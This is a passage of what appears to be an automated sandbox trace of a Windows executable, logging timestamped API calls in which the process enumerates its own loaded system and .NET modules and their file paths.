GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.473] GetLastError () returned 0x7f [0033.473] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.474] GetLastError () returned 0x7f [0033.474] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x28eb1c8, cb=0xc | out: lpmodinfo=0x28eb1c8*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.474] GetLastError () returned 0x7f [0033.474] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.476] GetLastError () returned 0x7f [0033.476] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.476] GetLastError () returned 0x7f [0033.476] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x28ec300, cb=0xc | out: lpmodinfo=0x28ec300*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.477] GetLastError () returned 0x7f [0033.477] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.478] GetLastError () returned 0x7f [0033.478] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.478] GetLastError () returned 0x7f [0033.478] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x28ed48c, cb=0xc | out: lpmodinfo=0x28ed48c*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.479] GetLastError () returned 0x7f [0033.479] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.479] GetLastError () returned 0x7f [0033.480] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.480] GetLastError () returned 0x7f [0033.480] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x28ee648, cb=0xc | out: lpmodinfo=0x28ee648*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.481] GetLastError () returned 0x7f [0033.481] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.481] GetLastError () returned 0x7f [0033.482] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.482] GetLastError () returned 0x7f [0033.482] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x28ef82c, cb=0xc | out: lpmodinfo=0x28ef82c*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.483] GetLastError () returned 0x7f [0033.483] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.483] GetLastError () returned 0x7f [0033.484] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.484] GetLastError () returned 0x7f [0033.484] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x28f09cc, cb=0xc | out: lpmodinfo=0x28f09cc*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.485] GetLastError () returned 0x7f [0033.485] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.485] GetLastError () returned 0x7f [0033.485] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.486] GetLastError () returned 0x7f [0033.486] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x28f1bf0, cb=0xc | out: lpmodinfo=0x28f1bf0*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.487] GetLastError () returned 0x7f [0033.487] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.488] GetLastError () returned 0x7f [0033.488] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.488] GetLastError () returned 0x7f [0033.489] CloseHandle (hObject=0x200) returned 1 [0033.489] GetLastError () returned 0x7f [0033.504] GetCurrentProcessId () returned 0xa60 [0033.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.504] GetLastError () returned 0x7f [0033.504] EnumProcessModules (in: hProcess=0x200, lphModule=0x2911748, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x2911748, lpcbNeeded=0x30cdb8) returned 1 [0033.504] GetLastError () returned 0x7f [0033.505] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x2911888, cb=0xc | out: lpmodinfo=0x2911888*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.505] GetLastError () returned 0x7f [0033.505] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.505] GetLastError () returned 0x7f [0033.505] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.505] GetLastError () returned 0x7f [0033.505] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x29129d0, cb=0xc | out: lpmodinfo=0x29129d0*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.506] GetLastError () returned 0x7f [0033.506] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.506] GetLastError () returned 0x7f [0033.506] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.506] GetLastError () returned 0x7f [0033.506] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x2913ac4, cb=0xc | out: lpmodinfo=0x2913ac4*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.507] GetLastError () returned 0x7f [0033.507] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.507] GetLastError () returned 0x7f [0033.507] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.507] GetLastError () returned 0x7f [0033.507] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x2914bc0, cb=0xc | out: lpmodinfo=0x2914bc0*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.507] GetLastError () returned 0x7f [0033.508] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.508] GetLastError () returned 0x7f [0033.508] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.508] GetLastError () returned 0x7f [0033.508] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x2915cc4, cb=0xc | out: lpmodinfo=0x2915cc4*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.508] GetLastError () returned 0x7f [0033.508] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.509] GetLastError () returned 0x7f [0033.509] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.509] GetLastError () returned 0x7f [0033.509] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x2916e00, cb=0xc | out: lpmodinfo=0x2916e00*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.509] GetLastError () returned 0x7f [0033.509] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.509] GetLastError () returned 0x7f [0033.510] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.510] GetLastError () returned 0x7f [0033.510] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x2917f04, cb=0xc | out: lpmodinfo=0x2917f04*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.510] GetLastError () returned 0x7f [0033.510] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.510] GetLastError () returned 0x7f [0033.511] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.511] GetLastError () returned 0x7f [0033.511] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x2919000, cb=0xc | out: lpmodinfo=0x2919000*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.511] GetLastError () returned 0x7f [0033.511] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.511] GetLastError () returned 0x7f [0033.512] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.512] GetLastError () returned 0x7f [0033.512] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x291a0fc, cb=0xc | out: lpmodinfo=0x291a0fc*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.512] GetLastError () returned 0x7f [0033.512] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.512] GetLastError () returned 0x7f [0033.512] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.513] GetLastError () returned 0x7f [0033.513] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x291b248, cb=0xc | out: lpmodinfo=0x291b248*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.513] GetLastError () returned 0x7f [0033.513] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.513] GetLastError () returned 0x7f [0033.514] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.514] GetLastError () returned 0x7f [0033.514] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x291c344, cb=0xc | out: lpmodinfo=0x291c344*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.514] GetLastError () returned 0x7f [0033.514] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.514] GetLastError () returned 0x7f [0033.515] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.515] GetLastError () returned 0x7f [0033.515] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x291d448, cb=0xc | out: lpmodinfo=0x291d448*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.515] GetLastError () returned 0x7f [0033.515] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.516] GetLastError () returned 0x7f [0033.516] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.516] GetLastError () returned 0x7f [0033.516] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x291e580, cb=0xc | out: lpmodinfo=0x291e580*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.516] GetLastError () returned 0x7f [0033.516] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.517] GetLastError () returned 0x7f [0033.517] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.517] GetLastError () returned 0x7f [0033.517] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x291f67c, cb=0xc | out: lpmodinfo=0x291f67c*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.518] GetLastError () returned 0x7f [0033.518] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.518] GetLastError () returned 0x7f [0033.518] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.518] GetLastError () returned 0x7f [0033.519] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x2920770, cb=0xc | out: lpmodinfo=0x2920770*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.519] GetLastError () returned 0x7f [0033.519] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.519] GetLastError () returned 0x7f [0033.519] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.520] GetLastError () returned 0x7f [0033.520] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x292186c, cb=0xc | out: lpmodinfo=0x292186c*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.520] GetLastError () returned 0x7f [0033.520] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.521] GetLastError () returned 0x7f [0033.521] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.521] GetLastError () returned 0x7f [0033.521] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x2922958, cb=0xc | out: lpmodinfo=0x2922958*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.522] GetLastError () returned 0x7f [0033.528] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.528] GetLastError () returned 0x7f [0033.528] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.529] GetLastError () returned 0x7f [0033.529] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x2923adc, cb=0xc | out: lpmodinfo=0x2923adc*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.529] GetLastError () returned 0x7f [0033.529] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.530] GetLastError () returned 0x7f [0033.530] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.530] GetLastError () returned 0x7f [0033.530] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x2924bd0, cb=0xc | out: lpmodinfo=0x2924bd0*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.531] GetLastError () returned 0x7f [0033.531] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.531] GetLastError () returned 0x7f [0033.531] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.531] GetLastError () returned 0x7f [0033.532] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x2925cc4, cb=0xc | out: lpmodinfo=0x2925cc4*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.532] GetLastError () returned 0x7f [0033.532] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.532] GetLastError () returned 0x7f [0033.533] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.533] GetLastError () returned 0x7f [0033.533] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x2926dc0, cb=0xc | out: lpmodinfo=0x2926dc0*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.533] GetLastError () returned 0x7f [0033.534] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.534] GetLastError () returned 0x7f [0033.534] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.534] GetLastError () returned 0x7f [0033.535] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x2927ef8, cb=0xc | out: lpmodinfo=0x2927ef8*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.535] GetLastError () returned 0x7f [0033.535] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.535] GetLastError () returned 0x7f [0033.536] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.536] GetLastError () returned 0x7f [0033.536] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x292908c, cb=0xc | out: lpmodinfo=0x292908c*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.537] GetLastError () returned 0x7f [0033.537] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.537] GetLastError () returned 0x7f [0033.537] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.538] GetLastError () returned 0x7f [0033.538] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x292a188, cb=0xc | out: lpmodinfo=0x292a188*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.538] GetLastError () returned 0x7f [0033.538] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.539] GetLastError () returned 0x7f [0033.539] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.540] GetLastError () returned 0x7f [0033.540] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x292b27c, cb=0xc | out: lpmodinfo=0x292b27c*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.540] GetLastError () returned 0x7f [0033.540] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.541] GetLastError () returned 0x7f [0033.541] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.541] GetLastError () returned 0x7f [0033.541] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x292c378, cb=0xc | out: lpmodinfo=0x292c378*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.542] GetLastError () returned 0x7f [0033.542] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.542] GetLastError () returned 0x7f [0033.543] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.543] GetLastError () returned 0x7f [0033.543] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x292d510, cb=0xc | out: lpmodinfo=0x292d510*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.544] GetLastError () returned 0x7f [0033.544] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.544] GetLastError () returned 0x7f [0033.544] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.545] GetLastError () returned 